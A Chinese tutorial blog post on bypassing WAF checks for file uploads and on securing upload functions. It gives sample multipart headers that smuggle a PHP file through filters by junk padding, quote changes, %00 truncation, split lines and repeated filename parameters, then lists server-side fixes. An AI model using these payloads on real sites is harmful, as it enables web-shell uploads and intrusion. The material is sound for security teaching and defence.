首页 > 其他分享 >WEB漏洞—文件上传之WAF绕过及安全修复

WEB漏洞—文件上传之WAF绕过及安全修复

时间:2023-07-11 13:46:44浏览次数:53  
标签:info WEB Type name WAF jpg filename Content 上传

上传参数名解析:明确有哪些东西能修改?

Content-Disposition:  一般可更改

name:  表单参数值,不能更改,如果要更改,确保对方表单值也要更改

filename:  文件名,可以更改

Content-Type:  文件MIME,视情况更改

常见的绕过方法(这里所学的绕过方法大多数已经被安全狗修复,所以只能理论分析)

数据溢出-防匹配(xxx.. .)  参数污染,填充垃圾数据,减少被检测的几率,可以在数据包中filename前后填充

Content-Disposition: form-data; name="upload_file";填充大量的垃圾数据; filename="info.Php"
Content-Type: application/octet-stream

符号变异-防匹配(' "  ;)  #将双引号变为单引号,去掉一个双引号,没有闭合安全狗会误以为是程序自带,但是如果用“”,则会认为是一个字符串

Content-Disposition: form-data; name="upload_file"; filename="info.php
Content-Type: image/jpeg
Content-Disposition: form-data; name="upload_file"; filename=info.php
Content-Type: image/jpeg

数据截断-防匹配(%00 ;换行)  #原理:一般用于白盒中,%00后面的内容被截断,如:2.php%00.jpg(%00要解码)

Content-Disposition: form-data; name="upload_file"; filename="info.php%00.png"
Content-Type: image/jpeg

换行执行

Content-Disposition: form-data; name="upload_file"; filename="x.
p
h
p"
Content-Type:  image/jpeg

重复数据-防匹配(参数多次)  

Content-Disposition: form-data; name="upload_file"; filename="info.jpg"; filename="info.jpg"; filename="info.jpg"; filename="info.jpg"; filename="info.jpg"; filename="info.jpg"; filename="info.jpg"; filename="info.jpg"; filename="info.jpg"; filename="info.jpg"; filename="info.jpg"; filename="info.php"; 
Content-Type: image/jpeg

#原理分析:

---在学SQL注入是,传两个参数,x=a&x=b,根据环境的不同,会选择接受第一个或者第二个参数。

---因此,我们可以进行重复传参,用前面的参数欺骗安全狗检验,最后传递最后的参数。

---递归循环,参数过滤只有一次,可以用.pphphp来绕过验证,这里也是用前面的参数来绕过验证 

 

fuzz字典绕过

fuzz字典

https://github.com/fuzzdb-project/fuzzdb

https://github.com/TheKingOfDuck/fuzzDicts

https://github.com/TuuuNya/fuzz_dict

https://github.com/jas502n/fuzz-wooyun-org

文件上传安全修复方案

1.后端验证:采用服务端验证模式(不采用前端验证)

2.三种检查方式同时进行

后缀检测:基于黑名单,白名单过滤

MIME 检测:基于上传自带类型检测

内容检测:文件头,完整性检测 

3.自带函数过滤(就PHP脚本而言):

---参考 uploadlabs 函数,这种函数只有图片格式才能上传

如:getimagesize()函数;exif_imagetype()函数等等 

4.  自定义函数过滤:function check_file(){}

---结合黑名单和白名单,可以两者相互嵌套

5.  WAF 防护产品:宝塔,云盾,安全公司产品等

---此外,如果存在waf,就无法判断是否存在文件上传漏洞,只有一一尝试。 

 

 

 

 

 

 

 

标签:info,WEB,Type,name,WAF,jpg,filename,Content,上传
From: https://www.cnblogs.com/Zx770/p/17542054.html

相关文章

  • Burp Suite Professional / Community 2023.7 (macOS, Linux, Windows) - Web 应用安
    BurpSuiteProfessional/Community2023.7(macOS,Linux,Windows)-Web应用安全、测试和扫描BurpSuiteProfessional,Test,find,andexploitvulnerabilities.请访问原文链接:https://sysin.org/blog/burp-suite-pro-2023/,查看最新版。原创作品,转载请保留出处。作者......
  • AppSpider Pro 7.4.053 for Windows - Web 应用程序安全测试
    AppSpiderPro7.4.053forWindows-Web应用程序安全测试Rapid7DynamicApplicationSecurityTesting(DAST)请访问原文链接:https://sysin.org/blog/appspider/,查看最新版。原创作品,转载请保留出处。作者主页:sysin.orgappspider没有任何应用程序未经测试,没有未知风险......
  • [渗透测试]—4.2 Web应用安全漏洞
    在本节中,我们将学习OWASP(开放网络应用安全项目)发布的十大Web应用安全漏洞。OWASP十大安全漏洞是对Web应用安全风险进行评估的标准,帮助开发者和安全工程师了解并防范常见的安全威胁。1.A1-注入(Injection)概念:注入漏洞发生在应用程序将不可信的数据作为命令或查询的一部分执行时......
  • 西门子200转以太网模块300plc以太网上传程序
    内容摘要大家好,今天我们要为大家介绍一款神奇的设备——捷米特ETH-S7200-JM01以太网模块!它可以让西门子PLC200CPU226拥有以太网通讯接口,实现数据采集和生产管理系统构建。你以为这就是它的全部功能?那你就大错特错了! 除了实现以太网通讯,捷米特ETH-S7200-JM01还有其他神奇的功......
  • WEB自动化-键盘操作
    实际工作中,按照用户操作习惯,进行的是模拟键盘和鼠标操作WEB。首先,导入键盘操作需要的服务#!/usr/bin/envpython#-*-coding:utf-8-*-#@Time:2023/6/2617:32#@File:P01-test-selenium.py#@Software:PyCharmfromselenium.webdriverimportKeysdefP......
  • Visual Studio C# 多环境配置 Web.config
    目录添加解决方案配置添加配置转换添加应对的配置VisualStudio为多环境配置Web.config不同的环境,存在不同的配置,如:数据库连接字符串,通过多配置,方便做环境切换,配置的修改<!--最简单,最麻烦的做法--><configuration><appSettings><!--正式--><!--<addkey="DbCo......
  • web前端 第四天总结
    案例1:盒子模型<!DOCTYPEhtml><htmllang="en"><head><metacharset="UTF-8"><metaname="viewport"content="width=device-width,initial-scale=1.0"><title>Document</ti......
  • 前端框架及项目面试-聚焦Vue、React、Webpack
    第1章课程导学介绍课程制作的背景和课程主要内容。第2章课程介绍先出几道面试真题,引导思考。带着问题来继续学习,效果更好。第3章Vue使用Vue是前端面试必考内容,首先要保证自己要会使用Vue。本章讲解Vue基本使用、组件使用、高级特性和VuexVue-router,这些部分的知识点和......
  • 810-Air724UG(4G全网通GPRS)开发 - 模组把拍摄的照片通过http POST上传到服务器,服务
    <p><iframename="ifd"src="https://mnifdv.cn/resource/cnblogs/LearnAir724UG"frameborder="0"scrolling="auto"width="100%"height="1500"></iframe></p> 说明这节是模组控制摄像头采集到图......
  • PyWebIO 的环境配置
    本页接下来的命令都需要在终端输入。(win+r+cmd)检查python版本python-V如果您的python版本不符合要求,可以按以下步骤可以安装python3.9。更新apt。aptupdat安装python3.9。aptinstallpython3.9检查python版本。python3.9-V如果看到如下的输出代表......